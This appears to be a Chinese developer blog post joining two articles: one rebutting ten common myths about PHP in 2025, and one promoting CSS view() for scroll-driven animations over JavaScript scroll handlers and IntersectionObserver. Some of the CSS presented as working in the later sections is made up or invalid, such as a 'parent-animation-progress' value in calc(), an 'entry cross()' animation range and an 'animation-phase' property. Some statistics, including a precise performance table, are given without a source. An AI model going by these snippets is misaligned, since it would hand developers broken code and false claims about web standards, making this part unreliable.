2025 年揭穿 PHP 的真相:10 个深入人心的错误 “神话” 在编程语言的江湖中,PHP 一直是一位备受争议又不可或缺的角色。2025 年,当我们重新审视 PHP 时,会发现有许多关于它的顽固神话依然在流传。下面,就让我们来一一揭穿这些神话。 1、PHP 已经过时 很多人认为,随着新兴编程语言的崛起,PHP 已经日薄西山。 然而,事实并非如此。据 W3Techs 统计,2024 年全球仍有 76.4%的网站在使用 PHP。像 WordPress、Drupal 和 Joomla 等主流 CMS 平台都是基于 PHP 构建的,PHP 在 Web 开发领域的根基依然牢固。 2、PHP 性能低下 过去,PHP 的性能可能确实存在一些问题,但随着 PHP 8.x 版本的发布,情况有了极大的改变。PHP 8.x 引入了 JIT 编译器,大幅提升了执行速度,尤其在数值计算和循环操作方面表现出色,在处理高负载任务时也能游刃有余,与 Python、Node.js 等语言相比并不逊色。 3、PHP 不适合大型项目 有人觉得 PHP 只适合小型项目,难以应对大型项目的复杂需求。实际上,Laravel、Symfony、Laminas 等成熟的 PHP 框架,为构建大型、复杂的应用提供了强大的工具和支持。它们具备 MVC 架构、ORM 技术、中间件等先进特性,能够很好地实现项目的可维护性和可扩展性。 4、PHP 代码难以维护 不可否认,不规范的 PHP 代码可能会带来维护难题,但这并不意味着 PHP 本身的问题。通过遵循 PSR 等社区制定的编码规范,使用 PHPUnit 进行单元测试,利用 PHP-CS-Fixer 进行代码自动格式化等工具,可以有效提高 PHP 代码的质量和可维护性。 5、PHP 缺乏现代语言特性 PHP 从诞生以来一直在不断发展和进化。PHP 8.x 引入了联合类型、Fibers 和异步编程等现代语言特性,增强了代码的可读性和安全性,使 PHP 能够更好地适应现代开发需求。 6、PHP 社区不活跃 PHP 拥有一个庞大且活跃的开发者社区。社区中不仅有丰富的开源项目、框架和库,还能为开发者提供及时的支持和帮助。开发者们可以在社区中分享经验、交流技术,共同推动 PHP 的发展。 7、PHP 无法与新技术集成 在 2025 年,PHP 积极支持与 Node.js、Python 等其他语言的集成,也能很好地融入云原生、serverless 等新的技术架构中,拓展了自身的应用范围,并非与新技术脱节。 8、PHP 不适合高并发场景 传统上,PHP 在高并发处理方面可能存在短板,但随着 Swoole 等扩展的出现,PHP 具备了异步协程的能力,能够有效地处理高并发请求,在高并发场景下也有了更多的用武之地。 9、PHP 开发者就业前景不佳 市场调研显示,PHP 的就业市场份额高达 82%,在 Web 开发和内容管理系统领域的需求依然强劲,为 PHP 开发者提供了良好的职业前景。掌握 PHP 技能的开发者,在就业市场上仍然具有一定的竞争力。 10、PHP 学习价值不高 对于想要进入 Web 开发领域的人来说,学习 PHP 仍然具有很高的价值。它不仅可以帮助开发者快速上手 Web 项目开发,还能让开发者深入了解 WordPress 等流行 CMS 平台的开发,为进一步学习和发展打下坚实的基础。 图片 2025 年的 PHP,依然在 Web 开发领域散发着独特的光芒。它不断地发展和进步,用实力打破一个又一个的神话。作为开发者,我们应该以客观、全面的视角去认识和了解 PHP,充分发挥它的优势,为技术的发展和创新贡献力量。
-
CSS view():JavaScript 滚动动画的终结者 每当我与 UI/UX 设计师开完会,他们要求我实现滚动动画时,我内心都忍不住想大声尖叫。为什么?因为我讨厌实现滚动动画。虽然它看起来很棒,实现起来也“相当简单”,但它有许多需要处理的怪癖,尤其是当涉及多个动态元素时。但当客户要求那些花哨的“滚动时淡入”效果时,你能怎么办?你只能卷起袖子写一些 JavaScript,即使这让你内心崩溃。 JavaScript 时代(黑暗时期) 以下是我曾经写过的代码(如果你还在这样做,我理解你的痛苦): window.addEventListener('scroll', () => { const elements = document.querySelectorAll('.fade-in'); elements.forEach((element) => { const elementTop = element.getBoundingClientRect().top; const windowHeight = window.innerHeight; if (elementTop < windowHeight * 0.8) { element.style.opacity = '1'; element.style.transform = 'translateY(0)'; } }); });我要么改变 CSS 属性,要么为具有动画属性的元素添加类,让它执行一些“魔法”。有趣的是,我还必须实现反向操作。这很丑陋,我讨厌它。可怜的浏览器每次滚动事件都要处理这些计算。有时我甚至能听到它的“哭泣”。在移动设备上,电池指示器会像自由落体一样下降。 在积累了一些 JavaScript 经验后,我使用防抖来减少需要运行的计算次数。当然,这稍微好了一些,但这不可能是最好的解决方案,对吧? 发现 Intersection Observer(一线希望) 然后我发现了 Intersection Observer API。终于,有了更好的东西!我不再需要不断检查滚动位置,而是可以告诉浏览器:“嘿,当这个东西变得可见时告诉我”: const observer = new IntersectionObserver( (entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { entry.target.classList.add('visible'); observer.unobserve(entry.target); // 触发后不再观察! } }); }, { threshold: 0.2 } ); document.querySelectorAll('.animate-on-scroll').forEach((el) => observer.observe(el));结合一些 CSS: .animate-on-scroll { opacity: 0; transform: translateY(20px); transition: all 0.6s ease-out; } .animate-on-scroll.visible { opacity: 1; transform: translateY(0); }这确实好多了!但仍然……缺少了一些东西。动画要么开启,要么关闭——没有基于滚动位置的平滑控制。当客户要求那些超级平滑的视差效果或渐进式显示时,我又回到了编写复杂 JavaScript 或使用网上找到的 CSS 技巧的老路上。 然后一切都变了:view() 函数 然后,像 CSS 之神的礼物一样,我发现了 view()。天哪,看看这个: @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .fade-in { animation: fadeIn linear; animation-timeline: view(); /* 关键所在 */ animation-range: entry 10% cover 30%; /* 细节控制 */ }就这样!没有 JavaScript,没有事件监听器,没有性能噩梦。只有如丝般顺滑的滚动响应动画。 最棒的部分? 你知道最神奇的是什么吗?性能。那些旧的 JavaScript 滚动处理程序会让我的 MacBook 风扇像要起飞一样疯狂旋转。但 view()?即使在移动设备上,也如丝般顺滑。浏览器处理所有繁重的工作,所有操作都在合成器线程上运行(这是一个花哨的说法,意思是“非常快”)。 根据我们的性能测试: 动画类型CPU 使用率平均 FPS内存占用JavaScript38%4512MBIntersectionObserver22%558MBCSS view()5%601MB而且,它只是……有效。不再需要调试为什么动画在错误的时间触发,或者为什么滚动位置计算偏差了几个像素。当有很多动画元素时,不再有“滚动卡顿”。它只是有效。 深入理解 CSS view() 函数 CSS view() 函数的引入标志着我们处理滚动驱动动画方式的重大转变。让我们深入了解这个强大的功能,并理解为什么它正在彻底改变网页动画。 animation-timeline: view() view() 的核心是基于元素在视口中的可见性创建一个进度时间轴。你可以将其视为一个虚拟时间轴,随着元素进入视口而向前移动,随着元素退出视口而向后移动。 .element { animation-timeline: view(); }你可以自定义视口的测量方式: /* 为视口检测添加边距 */ animation-timeline: view(block 10px); /* 垂直边距 */ animation-timeline: view(inline 50%); /* 水平边距 */ animation-timeline: view(10px 20px 30px 40px); /* 所有边距 */理解 animation-range animation-range 属性定义了动画相对于元素在视口中的位置开始和结束的时间。就像为动画设置检查点。 实际应用场景: 1. 渐进式图片加载 @keyframes progressive-load { 0% { filter: blur(20px); scale: 1.1; } 100% { filter: blur(0); scale: 1; } } .lazy-image { animation: progressive-load linear; animation-timeline: view(); animation-range: entry 10% cover 50%; }2. 分步式文字浮现 @keyframes staggered-text { 0% { opacity: 0; transform: translateX(-50px); } 20% { opacity: 1; transform: translateX(0); } 80% { opacity: 1; transform: translateX(0); } 100% { opacity: 0; transform: translateX(50px); } } .staggered-text { animation: staggered-text linear; animation-timeline: view(); animation-range: entry 0% exit 100%; }3. 动态进度条 @keyframes progress-bar { from { width: 0%; } to { width: 100%; } } .progress-bar { animation: progress-bar linear; animation-timeline: view(); animation-range: entry cross(10% 20%); }高级技巧 1. 多时间轴组合 .card { --rotate-axis: 30deg; animation: rotate linear, scale ease-in-out; animation-timeline: view(), scroll(root block); animation-range: entry 0% cover 50%, entry 10% cover 90%; }2. 嵌套动画控制 .parent-element { animation-timeline: view(); } .child-element { animation-delay: calc(parent-animation-progress * 0.2s); }3. 视差滚动系统 .parallax-layer { animation: translate linear; animation-timeline: view(); } .layer-1 { animation-range: entry 0% cover 100%; } .layer-2 { animation-range: entry 10% cover 90%; } .layer-3 { animation-range: entry 20% cover 80%; }浏览器支持与渐进增强 截至 2024 年 12 月,推荐使用以下兼容方案: @supports (animation-timeline: view()) { /* 现代浏览器样式 */ } @supports not (animation-timeline: view()) { /* 回退方案 */ .fallback { transition: all 0.5s ease; } /* 使用 IntersectionObserver 添加 .active 类 */ }推荐使用 @scroll-timeline polyfill 为旧浏览器提供基本支持。 未来展望 即将推出的 CSS 滚动驱动动画规范将带来更多激动人心的特性: scroll() 时间轴类型 时间轴范围自定义单位(svh, lvw) 动画相位控制(animation-phase) 时间轴事件监听(实验性提案) 这些新功能将使创建如下效果成为可能: 基于滚动速度的动画 分页滚动动画 嵌套滚动容器联动 总结 CSS view() 的出现不仅改变了我们实现滚动动画的方式,更重新定义了网页动画的可能性边界。从简单的淡入效果到复杂的视差系统,现在都可以用声明式的简洁语法实现。虽然浏览器支持仍在推进中,但现代前端开发者应该: 优先使用 CSS view() 实现基础动画 使用 JavaScript 作为高级交互的补充 始终考虑渐进增强策略 定期关注 Scroll-driven Animations 规范 的更新 下次设计师再提出复杂的滚动动画需求时,你可以微笑着打开 CSS 文件——那些需要复杂 JavaScript 才能实现的效果,现在可能只需要几行优雅的 CSS 代码。 图片 如果您觉得内容对您有帮助,欢迎在看、点赞、分享 ⬇️❤️⬇️